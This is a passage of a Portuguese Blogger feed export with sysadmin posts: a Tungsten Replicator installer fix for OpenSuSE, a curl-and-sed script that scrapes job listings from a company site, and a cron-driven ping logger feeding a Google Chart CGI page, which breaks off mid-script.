&lt;span style=&quot;background-color: transparent; color: yellow; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;282 &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #4a86e8; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;raise &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #ff9900; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;Could not determine Linux distribution. &amp;nbsp;Tungsten has been tested on OpenSuSE, RedHat and Debian systems.&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: yellow; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;409&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #4a86e8; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;elsif &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;File.exist?(&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #ff9900; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;/etc/SuSE-release&quot;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: yellow; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;410&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #4a86e8; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #ff9900; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;OS supports service installation&quot;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;b id=&quot;internal-source-marker_0.0718814751598984&quot; style=&quot;font-weight: normal; text-align: start;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;
&lt;/span&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
Feito isso basta seguir com o processo de instalação e não será exibido nenhum erro, vale lembrar que, existe uma lista de requisitos a cumprir antes de iniciar a instalação, a mesma pode ser vista no site do&amp;nbsp;projeto.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://code.google.com/p/tungsten-replicator/wiki/InstallationPreRequisites&quot;&gt;http://code.google.com/p/tungsten-replicator/wiki/InstallationPreRequisites&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Analisando no site do projeto&amp;nbsp;vi que atualmente estão distribuindo a versão 2.0.7 (não oficial), uma olhada rápida nos arquivos pude constatar que o processo de instalação permanece o mesmo, digo, a nível de estrutura de arquivo de instalação, mas bem, acredito não existir problema.&lt;br /&gt;
&lt;br /&gt;
Não me preocupei em descrever a parte do script responsável por &amp;nbsp;adicionar o serviço a inicialização do sistema operacional, uma vez que, fiquei sem tempo para promover essa modificação, assim que possível editarei este com as modificações necessárias.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wesleyhenriqueleite.blogspot.com/feeds/4652266142541361441/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2013/02/tungsten-replicator-206-nativo-no.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/4652266142541361441'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/4652266142541361441'/><link rel='alternate' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2013/02/tungsten-replicator-206-nativo-no.html' title='Tungsten-Replicator 2.0.6 nativo no OpenSuse 12.1 x64'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/14743264157748275917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgu-a-iR0eEqC2-9mqK4dwnH3DP552bRC8L9YEjIrrKdoUap2Eqr3X66pqUWG2dBJ6WV9d704S3lTXZ49bBXjv2Peh_npOaGy6hEez2WxQ6eYU6LpqB9WDwfZEMWNJgca8JWW-H5FkUcH0/s72-c/tungstenreplicatorswans.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2537384307820372300.post-3602913438405709476</id><published>2012-12-03T13:39:00.001-02:00</published><updated>2012-12-03T13:39:11.690-02:00</updated><title type='text'>Monitorando vagas no site da mrs com shell script</title><content type='html'>&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
A primeira versão deste script foi desenvolvida faz alguns anos, quando ainda esperava por uma oportunidade de trabalhar na MRS, rsrsrs. o tempo passou e nunca vi no site uma vaga que gostaria de me candidatar, em contra partida, fui vendo as pessoas serem contratadas mesmo não aparecendo as vagas no site, como nunca entendi desisti, sendo assim, estou liberando este script simples que faz a consulta no site e imprime a vaga e data de publicação da mesma, pode ser que sirva para alguem.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
O script é simples e se resume a duas linha.&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;#!/bin/sh&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;URL=&lt;/span&gt;&quot;&lt;a href=&quot;https://www.mrs.com.br/curriculo/&quot;&gt;https://www.mrs.com.br/curriculo/&lt;/a&gt;&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;curl&lt;/span&gt; &quot;&lt;span style=&quot;color: blue;&quot;&gt;${URL}&lt;/span&gt;&quot; &amp;nbsp;&lt;span style=&quot;color: purple;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #7f6000;&quot;&gt;&amp;gt;&amp;amp;1&lt;/span&gt; &lt;span style=&quot;color: #274e13;&quot;&gt;/dev/null&lt;/span&gt; | &lt;span style=&quot;color: #783f04;&quot;&gt;sed&lt;/span&gt; &lt;span style=&quot;color: purple;&quot;&gt;&#39;/&amp;lt;th align=&quot;left&quot; width=&quot;300&quot;&amp;gt;Vaga&amp;lt;\/th&amp;gt;/,/&amp;lt;\/table&amp;gt;/ s/^/----/&#39;&lt;/span&gt; | &lt;span style=&quot;color: #783f04;&quot;&gt;grep&lt;/span&gt; &quot;&lt;span style=&quot;color: purple;&quot;&gt;[-]---&quot;&amp;nbsp;&lt;/span&gt;| &lt;span style=&quot;color: #783f04;&quot;&gt;sed&lt;/span&gt; &lt;span style=&quot;color: purple;&quot;&gt;&#39;s/----//g&#39;&lt;/span&gt; | &lt;span style=&quot;color: #783f04;&quot;&gt;grep&lt;/span&gt; &lt;span style=&quot;color: purple;&quot;&gt;&quot;&amp;lt;td&quot; | sed &#39;s/\t//g&#39;&lt;/span&gt; | &lt;span style=&quot;color: #783f04;&quot;&gt;sed&lt;/span&gt; &lt;span style=&quot;color: purple;&quot;&gt;&#39;s/&amp;lt;\/a&amp;gt;/|/g&#39;&lt;/span&gt; | &lt;span style=&quot;color: #783f04;&quot;&gt;sed&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt; &#39;s/&amp;lt;[^&amp;gt;]*&amp;gt;//g&#39;&lt;/span&gt; | &lt;span style=&quot;color: #274e13;&quot;&gt;tr&lt;/span&gt; &lt;span style=&quot;color: purple;&quot;&gt;&#39;\n&#39; &#39; &#39;&lt;/span&gt; | &lt;span style=&quot;color: #274e13;&quot;&gt;tr&lt;/span&gt; &lt;span style=&quot;color: purple;&quot;&gt;&#39;|&#39; &#39;\n&#39; &lt;/span&gt;| &lt;span style=&quot;color: #783f04;&quot;&gt;sed&lt;/span&gt; &lt;span style=&quot;color: purple;&quot;&gt;&#39;s/^ //g&#39;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_YdYG0E0S3azHYaNauF-Rw7H22B2Jtm6SepgpliGDn7q5YwpawA4QoLCB9-EDrl_XWf3dVD_y2D0-CcvkBeLv0q6hT3gDcI7K-SphsGeKtsk5RJgY1a07lCiFoRyI9qv0P3z6woKmn7c/s1600/vagas.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;74&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_YdYG0E0S3azHYaNauF-Rw7H22B2Jtm6SepgpliGDn7q5YwpawA4QoLCB9-EDrl_XWf3dVD_y2D0-CcvkBeLv0q6hT3gDcI7K-SphsGeKtsk5RJgY1a07lCiFoRyI9qv0P3z6woKmn7c/s640/vagas.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
curl é uma ferramenta em linha de comando que utilizamos para transferir dados via url, podemos passar parametros via GET, POST e diversos outros recursos, o restante dos comandos não existe mistério, mas vamos aos detalhes.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;color: #783f04;&quot;&gt;sed&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: purple;&quot;&gt;&#39;/&amp;lt;th align=&quot;left&quot; width=&quot;300&quot;&amp;gt;Vaga&amp;lt;\/th&amp;gt;/,/&amp;lt;\/table&amp;gt;/ s/^/----/&#39;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;color: purple;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
no comando acima, seleciono no source da página entre a posição que contem&amp;nbsp;&lt;span style=&quot;color: purple;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt;&amp;lt;th align=&quot;left&quot; width=&quot;300&quot;&amp;gt;Vaga&amp;lt;\/th&amp;gt; &lt;/span&gt;&amp;nbsp;até a primeira tag&amp;nbsp;&lt;span style=&quot;color: purple;&quot;&gt;&amp;lt;/table&amp;gt;&lt;/span&gt; e marco no inicio dessas linha &quot;----&quot; 4&amp;nbsp;hifens&amp;nbsp;seguidos de modo a poder capturar todas as linha que tem 4 desse&amp;nbsp;hifens&amp;nbsp;seguidos, faço isso com o &amp;nbsp;&lt;span style=&quot;color: #783f04;&quot;&gt;grep&lt;/span&gt;&amp;nbsp;&quot;&lt;span style=&quot;color: purple;&quot;&gt;[-]---&quot; &lt;/span&gt;&amp;nbsp;após seleciona-los elimino os ifens, pois, agora não me servem para mais nada,&lt;span style=&quot;color: purple;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #783f04;&quot;&gt;sed&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: purple;&quot;&gt;&#39;s/----//g&#39;&lt;/span&gt;&amp;nbsp;, meu próximo passo é pegar somente as linha que contem &lt;span style=&quot;color: purple;&quot;&gt;&amp;lt;td&lt;/span&gt;, esse representão os elementos da tabela, que em nosso caso são as vagas e datas&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #783f04;&quot;&gt;grep&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: purple;&quot;&gt;&quot;&amp;lt;td&quot; &amp;nbsp;&lt;/span&gt;em seguida elimino a tabulada com o sed &#39;s/\t//g&#39; e crio um delimitador de linha para saber quando devo utilizar um enter&lt;span style=&quot;color: purple;&quot;&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #783f04;&quot;&gt;sed&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: purple;&quot;&gt;&#39;s/&amp;lt;\/a&amp;gt;/|/g&#39;,&lt;/span&gt; ou seja, sempre que encontra um finalizado do &lt;span style=&quot;color: purple;&quot;&gt;&amp;lt;/a&amp;gt;&lt;/span&gt; mude para&lt;span style=&quot;color: purple;&quot;&gt; |&lt;/span&gt; pipe, agora tenho minhas linhas e posso remover qualquer tag html que exista&amp;nbsp;no dump &lt;span style=&quot;color: #783f04;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;com&lt;/span&gt; sed&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt;&amp;nbsp;&#39;s/&amp;lt;[^&amp;gt;]*&amp;gt;//g&#39;, &lt;/span&gt;agora sem problema posso eliminar as linhas,&amp;nbsp;&lt;span style=&quot;color: #274e13;&quot;&gt;tr&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: purple;&quot;&gt;&#39;\n&#39; &#39; &#39;&lt;/span&gt;&amp;nbsp; e quebrar exatamente no local que desejo que em meu caso é |&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #274e13;&quot;&gt;tr&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: purple;&quot;&gt;&#39;|&#39; &#39;\n&#39; &lt;/span&gt;e elimino qualquer espaço que inicie em branco&amp;nbsp;&lt;span style=&quot;color: #783f04;&quot;&gt;sed&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: purple;&quot;&gt;&#39;s/^ //g&#39;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
prontinho temos as vagas na tela, caso exista mais de uma vaga, serão exibidas na tela uma abaixo da outra, bom, assim acredito, fiz mudanças no script para elininar a quantidade de linhas e não testei ainda, mas vai funcionar, tenho 99,999999% de certeza.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
existem diversas coisas que podem ser feitas, integrar ao py-notify e exibir no gnome a msg de forma simples, ou enviar por email.. #ficaAdica &amp;nbsp; &lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wesleyhenriqueleite.blogspot.com/feeds/3602913438405709476/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/12/monitorando-vagas-no-site-da-mrs-com.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/3602913438405709476'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/3602913438405709476'/><link rel='alternate' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/12/monitorando-vagas-no-site-da-mrs-com.html' title='Monitorando vagas no site da mrs com shell script'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/14743264157748275917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_YdYG0E0S3azHYaNauF-Rw7H22B2Jtm6SepgpliGDn7q5YwpawA4QoLCB9-EDrl_XWf3dVD_y2D0-CcvkBeLv0q6hT3gDcI7K-SphsGeKtsk5RJgY1a07lCiFoRyI9qv0P3z6woKmn7c/s72-c/vagas.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2537384307820372300.post-5229166437442186620</id><published>2012-11-28T15:54:00.001-02:00</published><updated>2012-11-28T16:14:57.543-02:00</updated><title type='text'>Gráfico com Shell e Google Chart</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Resolvi fazer um post rápido, tem bastante tempo que não publico nada, na verdade, deveria aproveitar esse tempo para ler alguma coisa a respeito de protocolos de roteamento, tenho uma prova mais tarde, mas, prometi e tentarei cumprir, farei um pequeno post que ajudará a monitorar o andamento da rede, utilizarei os recursos do google chart para gerar um&amp;nbsp;&amp;nbsp;gráfico de variação de tempo em ms.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Basicamente utilizaremos o ping para extrair os dados, pegaremos as médias e criaremos um gráfico simples, &amp;nbsp;este, permitirá identificar alguns problemas na rede, principalmente na saída &quot;caso utilize este exemplo&quot;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
primeiro devemos gerar os dados, para tal, utilizaremos o script que montei abaixo.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
arquivo : &amp;nbsp;perdapacotes.sh&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;#!/bin/sh&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;TMP=$(mktemp)&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;LOG=&quot;/var/log/lan_pacotes.log&quot;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
# Ping apontado para servidor do google, pegando somente as duas ultimas linhas, que é o que importa agora.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;ping -c 10 8.8.8.8 | tail -2 &amp;gt; ${TMP}&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
# nessas duas linhas extrairei somente o que me importa para gerar os graficos&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;RETORNO=&quot;$(cat ${TMP} | cut -d&#39;,&#39; -f1,2 | head -1 | grep -Ewo &#39;([0-9]){1,}&#39; | tr &#39;\n&#39; &#39; &#39; )&quot;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;MS=&quot;$(cat ${TMP} &amp;nbsp;| tail -1 | cut -d&#39;=&#39; -f2 &amp;nbsp;| sed &#39;s/ms//&#39; | sed -e &#39;s/\// /g&#39; )&quot;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
# Na linha abaixo eu gravo os dados no arquivo de log de modo a ter um histórico dos acontecimentos&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
# em seguida apago o arquivo intermediário .&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;echo &quot;$(date) ; ${RETORNO}, ${MS}&quot; &amp;gt;&amp;gt; ${LOG}&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;rm ${TMP}&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Observe&amp;nbsp;que os dados coletados no ping são armazenados em &lt;b&gt;&quot;/var/log/lan_pacotes.log&quot; &lt;/b&gt;e nele tenho um histórico da rede, posteriormente necessitaremos deste para gerar o gráfico.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Bom, o arquivo não fará nada sozinho, deve agendar no cron para que o mesmo rode em um intervalo de tempo determinado, quero que o mesmo rode a cada 5 minutos. digite no terminal&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;# crontab -e&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
e adicione a linha a seguir.&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;*/5 * * * * /home/MySec/Monitoramento/scripts/perdapacotes.sh&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
determinei o nome como &quot;&lt;b&gt;perdapacotes.sh&lt;/b&gt;&quot; é importante informar o caminho absoluto e tenha certeza que o mesmo é um executavel, rodando o comando abaixo.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;# chmod +x&amp;nbsp;perdapacotes.sh&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;i&gt;# exemplo de dados gerados pelo script. arquivo&amp;nbsp;&lt;/i&gt;&lt;/b&gt;&lt;b&gt;/var/log/lan_pacotes.log&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Qua Nov 28 14:50:10 BRST 2012 ; 10 10 , &amp;nbsp;35.287 39.951 54.074 5.943&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Qua Nov 28 14:55:11 BRST 2012 ; 10 10 , &amp;nbsp;35.560 37.412 40.758 1.656&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Qua Nov 28 15:00:10 BRST 2012 ; 10 10 , &amp;nbsp;35.892 41.669 56.527 8.055&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Qua Nov 28 15:05:10 BRST 2012 ; 10 10 , &amp;nbsp;35.701 38.911 49.211 3.821&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Qua Nov 28 15:10:10 BRST 2012 ; 10 10 , &amp;nbsp;35.574 37.078 42.720 2.062&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
perfeitamente separado e formatado,&amp;nbsp;agora gere o arquivo &lt;b&gt;monitor.sh&lt;/b&gt; dentro do diretório de seu webserver que permita rodar scripts, o meu é customizado, de qualquer forma no &lt;b&gt;OpenSuSE &lt;/b&gt;que no caso é minha distro base utiliza-se &lt;b&gt;/srv/www/cgi-bin,&amp;nbsp;&lt;/b&gt;iremos fazer com que ele apresente somente os últimos 100 resultados, caso contrário será impossível analisa-lo com o passar dos dias.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;#!/bin/sh&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;echo &quot;content-type: text/html&quot;&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;LOG=&quot;/var/log/lan_pacotes.log&quot;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;echo &quot;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;lt;script type=&#39;text/javascript&#39; src=&#39;https://www.google.com/jsapi&#39;&amp;gt;&amp;lt;/script&amp;gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;lt;script type=&#39;text/javascript&#39;&amp;gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; google.load(&#39;visualization&#39;, &#39;1&#39;, {packages:[&#39;corechart&#39;]});&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; google.setOnLoadCallback(drawChart);&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; function drawChart() {&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; var data = google.visualization.arrayToDataTable([&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; [&#39;Dia&#39;, &#39;MIN&#39;, &#39;AVG&#39;, &#39;MAX&#39;, &#39;MDEV&#39; ],&lt;b&gt;&quot;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;&amp;nbsp; LISTA=&quot;$( cat &quot;${LOG}&quot; | tail -100 | awk &#39;{print $2,$3,$4,$11,$12,$13,$14}&#39; | tr &#39; &#39; &#39;_&#39; | sed &#39;s/,//&#39; )&quot;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
